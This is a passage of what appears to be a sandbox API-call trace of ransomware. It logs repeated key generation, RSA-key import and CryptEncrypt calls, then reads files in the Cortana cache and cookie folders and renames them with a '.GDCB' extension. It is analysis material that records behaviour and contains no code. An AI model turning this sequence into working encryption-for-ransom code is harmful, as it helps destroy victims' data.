Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.341] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488d40) returned 1 [0227.341] CryptGetKeyParam (in: hKey=0x6488d40, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.341] CryptEncrypt (in: hKey=0x6488d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bf0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bf0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.341] GetLastError () returned 0x0 [0227.341] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.341] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\efcb0cd5[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\efcb0cd5[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0227.341] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.357] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.357] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.357] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.357] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0227.359] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.361] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.361] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.361] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.362] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.365] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488d80) returned 1 [0227.365] CryptGetKeyParam (in: hKey=0x6488d80, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.365] CryptEncrypt (in: hKey=0x6488d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.365] GetLastError () returned 0x0 [0227.365] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.365] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.367] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488f00) returned 1 [0227.367] CryptGetKeyParam (in: hKey=0x6488f00, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.367] CryptEncrypt (in: hKey=0x6488f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7c10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.368] GetLastError () returned 0x0 [0227.368] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.368] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\f544a93b[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\f544a93b[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0227.370] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.373] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.374] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.376] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.376] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.376] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0227.378] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.380] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.380] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.380] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0227.380] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.383] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488fc0) returned 1 [0227.383] CryptGetKeyParam (in: hKey=0x6488fc0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.383] CryptEncrypt (in: hKey=0x6488fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.383] GetLastError () returned 0x0 [0227.383] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.383] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.386] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488900) returned 1 [0227.386] CryptGetKeyParam (in: hKey=0x6488900, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.386] CryptEncrypt (in: hKey=0x6488900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7c30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.386] GetLastError () returned 0x0 [0227.386] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.386] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.388] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c40000 [0227.392] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c50000 [0227.394] ReadFile (in: hFile=0x424, lpBuffer=0x7c50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7c50000*, lpNumberOfBytesRead=0x285d160*=0xba95, lpOverlapped=0x0) returned 1 [0227.403] VirtualAlloc (lpAddress=0x0, dwSize=0xbaa0, flAllocationType=0x3000, flProtect=0x4) returned 0x7d60000 [0227.410] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm.gdcb")) returned 0 [0227.415] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0227.417] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.418] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.418] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.418] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.418] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.419] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.421] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.421] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.421] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.421] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.424] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488dc0) returned 1 [0227.424] CryptGetKeyParam (in: hKey=0x6488dc0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.424] CryptEncrypt (in: hKey=0x6488dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.424] GetLastError () returned 0x0 [0227.424] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.424] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0227.426] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488e00) returned 1 [0227.426] CryptGetKeyParam (in: hKey=0x6488e00, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.426] CryptEncrypt (in: hKey=0x6488e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7c30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.426] GetLastError () returned 0x0 [0227.426] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0227.426] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\5\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\5\\zinc[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.428] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c40000 [0227.430] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c50000 [0227.431] ReadFile (in: hFile=0x424, lpBuffer=0x7c50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7c50000*, lpNumberOfBytesRead=0x285d160*=0x1d46a, lpOverlapped=0x0) returned 1 [0227.555] VirtualAlloc (lpAddress=0x0, dwSize=0x1d470, flAllocationType=0x3000, flProtect=0x4) returned 0x7d60000 [0227.563] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\5\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\5\\zinc[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\5\\zinc[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\5\\zinc[1].htm.gdcb")) returned 0 [0227.567] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0227.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.571] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.571] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.571] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.571] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.572] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.573] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.574] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.574] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.574] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.576] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488bc0) returned 1 [0227.576] CryptGetKeyParam (in: hKey=0x6488bc0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.576] CryptEncrypt (in: hKey=0x6488bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.576] GetLastError () returned 0x0 [0227.576] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.576] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.579] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488e40) returned 1 [0227.579] CryptGetKeyParam (in: hKey=0x6488e40, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.579] CryptEncrypt (in: hKey=0x6488e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7c30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.579] GetLastError () returned 0x0 [0227.579] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.579] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\6\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\6\\zinc[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.581] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c40000 [0227.583] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c50000 [0227.584] ReadFile (in: hFile=0x424, lpBuffer=0x7c50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7c50000*, lpNumberOfBytesRead=0x285d160*=0x1d46a, lpOverlapped=0x0) returned 1 [0227.668] VirtualAlloc (lpAddress=0x0, dwSize=0x1d470, flAllocationType=0x3000, flProtect=0x4) returned 0x7d60000 [0227.684] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\6\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\6\\zinc[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\6\\zinc[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\6\\zinc[1].htm.gdcb")) returned 0 [0227.722] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0227.724] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.726] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.734] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0227.734] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0227.734] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0227.737] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.739] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.744] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0227.744] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.745] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0227.747] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487f40) returned 1 [0227.747] CryptGetKeyParam (in: hKey=0x6487f40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0227.747] CryptEncrypt (in: hKey=0x6487f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0227.747] GetLastError () returned 0x0 [0227.747] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.748] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0227.751] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487f80) returned 1 [0227.751] CryptGetKeyParam (in: hKey=0x6487f80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0227.751] CryptEncrypt (in: hKey=0x6487f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0227.751] GetLastError () returned 0x0 [0227.751] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.751] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\LVKKMMVN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\lvkkmmvn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0227.752] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c40000 [0227.755] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c50000 [0227.757] ReadFile (in: hFile=0x528, lpBuffer=0x7c50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c50000*, lpNumberOfBytesRead=0x285d670*=0xd3, lpOverlapped=0x0) returned 1 [0227.766] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x7d60000 [0227.790] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\LVKKMMVN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\lvkkmmvn.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\LVKKMMVN.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\lvkkmmvn.txt.gdcb")) returned 1 [0227.793] 